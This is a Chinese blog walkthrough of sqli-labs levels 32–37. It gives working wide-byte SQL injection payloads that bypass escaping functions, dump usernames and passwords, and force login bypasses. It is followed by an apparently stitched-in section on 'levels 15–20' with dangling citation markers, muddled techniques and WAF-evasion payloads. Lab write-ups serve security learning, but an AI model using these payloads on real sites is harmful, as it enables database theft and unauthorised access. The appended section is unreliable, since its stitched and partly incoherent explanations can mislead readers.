SQL注入详解 32-37关

Less-32(宽字节注入——union联合)

第32关总结:
32关对输入进的单引号及双引号进行了反斜杠转义,我们需要进行宽字节注入,宽字节注入的原理:数据库编码必须是utf-8,gbkb等,不能为ascii编码,\编码为%5c,使用%df与%5c进行拼接,形成%df%5c(一个汉字),变成了一个有多个字符,从而闭合了单引号

  1. 确定注入类型
1'")

从显示结果可以看出来这里对单引号与双引号进行了反斜杠转义,我们首先就会想到宽字节注入
在这里插入图片描述

1%df'
2%df' and 1=1--+
2%df' and 1=2--+

判断出这里为单引号注入类型
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  1. 判断注入字段数及显示位置
1%df' order by 3--+

在这里插入图片描述

-1%df' union select 1,2,3--+

在这里插入图片描述

  1. 查看当前数据库
    在这里插入图片描述
  2. 爆表
    这里我们应该注意:数据库名可以用十六进制格式表示,也可以用database()表示,当在爆列过程中我们只能用十六进制格式表示
    在这里插入图片描述
  3. 爆列
    这里我们可以将列名转换为十六进制格式,也可以将查询该表名的语句代入
-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit  3,1)--+

在这里插入图片描述

  1. 查询数据信息
-2%df' union select 1,group_concat(username),group_concat(password) from users--+

在这里插入图片描述

32关源码:
在这里插入图片描述

Less-33(宽字节注入——union联合)

第33关总结:
这关与32关都为宽字节注入,只是在源代码使用的函数不同。32关使用preg_replace()函数对输入字符进行查找替换,33关使用addslashes()函数对输入的字符添加反斜杠

  1. 确定注入类型
    通过验证,这关也存在反斜杠转义
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    注入过程中发现与32关的注入语句是一样的

  2. 查看源码发现不同点
    这里使用了addslashes()函数,这个函数就是添加反斜杠函数
    在这里插入图片描述

Less-34(POST类型宽字节注入)

第34关总结:
首先这关是POST传参形式,也是宽字节注入,和前面一样

  1. 确定注入类型
    通过验证此处存在反斜杠转义
    在这里插入图片描述

在这里插入图片描述
使用万能密码进入

admin%df' or 1=1#

在这里插入图片描述
发现为单引号字符型

  1. 判断注入字段数及显示位置
    由于我们始终用户名输入的都是admin�,所以我们不能用order by此时来判断,只能依靠select逐个判断
admin%df' union select 1#
admin%df' union select 1,2#

在这里插入图片描述
在这里插入图片描述

  1. 查看当前数据库
admin%df' union select 1,database()#

在这里插入图片描述
剩余的注入步骤与前面关卡相同

  1. 查看源码,这里使用了addslashes()函数
    在这里插入图片描述

Less-35(数字型宽字节注入)

第35关总结:
这里为数字型sql注入,对输入的字符同样做反斜杠处理,也是宽字节注入,比前面宽字节注入关卡稍微简单一些

  1. 确定注入类型

对输入进来的字符进行了反斜杠处理
在这里插入图片描述

2 and 1=1--+
2 and 1=2--+

在这里插入图片描述

在这里插入图片描述
数字型注入

  1. 查看当前数据库
    在这里插入图片描述
    下面操作与前面关卡相同

  2. 查看源码
    在这里插入图片描述

Less-36(宽字节注入)

第36关总结:
这里也是单引号字符型注入,需要使用宽字节注入来进行绕过。只是源码中的函数不同

  1. 确定注入类型
    存在反斜杠转义
    在这里插入图片描述
2%df' and 1=1--+
2%df' and 1=2--+

在这里插入图片描述
在这里插入图片描述
通过注入发现,这里和前面关卡一样。单引号字符型注入,需要使用宽字节注入来进行绕过。只是源码中的函数不同

  1. 查看源码

函数mysql_real_escape_string()
作用: 转义 SQL 语句中使用的字符串中的特殊字符

下列字符受影响:

\x00
\n
\r


"
\x1a

在这里插入图片描述

Less-37(POST类型宽字节注入)

第37关总结:
37关为POST注入类型,只是源码中的函数变为mysql_real_escape_string(),用于转义 SQL 语句中使用的字符串中的特殊字符

  1. 判断注入类型

通过测试发现,具有反斜杠转义
在这里插入图片描述
通过报错可以看出是单引号注入类型

admin%df'%df")

在这里插入图片描述
万能密码成功进入
在这里插入图片描述

  1. 判断注入字段数及显示位置
admin%df' union select 111111,222222#

在这里插入图片描述

  1. 查看数据库名
    在这里插入图片描述
    剩余的注入操作与前面相同
  2. 查看源码
    函数mysql_real_escape_string()
    作用: 转义 SQL 语句中使用的字符串中的特殊字符

下列字符受影响:

\x00
\n
\r


"
\x1a
在这里插入图片描述

### SQL注入第15至20解法详解 #### 卡15:基于布尔盲注的数据库名获取 在这一中,目标是从 `information_schema` 表中提取当前使用的数据库名称。可以通过逐字符猜测的方式实现布尔盲注攻击。具体方法如下: 通过构造条件语句来判断每个字符是否匹配预期值。例如: ```sql ?id=1' AND SUBSTRING((SELECT database()), 1, 1) = 't' -- ``` 上述查询会验证数据库的第一个字母是否为 `'t'`[^1]。 如果返回页面正常,则说明该字符正确;反之则错误。逐步增加字符串长度即可还原整个数据库名称。 --- #### 卡16:利用时间延迟进行盲注 此要求使用基于时间的盲注技术。可以借助 MySQL 的 `SLEEP()` 函数让服务器响应延时特定秒数。例如: ```sql ?id=1' AND IF(SUBSTRING((SELECT database()), 1, 1)='s', SLEEP(5), NULL) --+ ``` 当条件成立时,服务器将暂停 5 秒再继续处理请求。通过对不同位置上的字符逐一测试,最终可拼凑出完整的数据库名称[^3]。 --- #### 卡17:表名枚举与过滤器应用 本涉及从 `information_schema.tables` 中检索可用表的信息。为了防止直接暴露敏感数据,通常需要绕过某些限制措施。一种常见做法是采用十六进制编码规避键字检测机制。比如: ```sql ?id=-1 UNION SELECT 1,GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=DATABASE()-- ``` 这里运用了 `GROUP_CONCAT()` 将多个结果合并成单个字段显示出来[^2]。 --- #### 卡18:列名探测及其内容读取 一旦确认目标表之后,下一步便是找出其中包含哪些有用列以及它们的内容是什么。同样地,我们可以沿用之前提到过的技巧——即先列出所有可能候选对象然后再分别尝试访问其内部存储的数据项。示例代码片段如下所示: ```sql ?id=-1 UNION ALL SELECT null,column_name,null FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x7573657273--+ ``` 此处我们将表名字转换成了对应的 ASCII 编码形式以便避开潜在的安全防护策略。 --- #### 卡19:联合查询中的高级技巧 有时候单纯依靠简单的 Union Select 并不足以完成任务,这时就需要考虑更加复杂的场景设计。假设存在两个独立但相互联的数据集 A 和 B ,我们希望同时展示来自两者的记录而无需改变原有逻辑结构的话,那么就可以引入交叉连接的概念来进行操作 。例如 : ```sql ?id=1' UNION ALL SELECT username,password FROM users CROSS JOIN (SELECT id FROM orders LIMIT 1 OFFSET 0 ) AS t --+ ``` 这样做的好处在于即使原始应用程序只允许单一输入源也能巧妙突破局限性从而达到目的. --- #### 卡20:绕过 WAF 防护层 最后,在面对较为严格 Web 应用防火墙(WAF)的情况下,灵活调整语法表达方式显得尤为重要。除了前面提及到的一些基本手段之外还可以采取诸如大小写混合书写、添加冗余括号或者替换同义命令词组等方式进一步降低被识别概率。实例演示如下: ```sql ?Id=1/**/Or/**/(SeLeCt/**/UsEr())/**/=/**/'root'# ``` 这种模糊化处理有助于迷惑自动化扫描工具使其难以准确判定意图所在。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值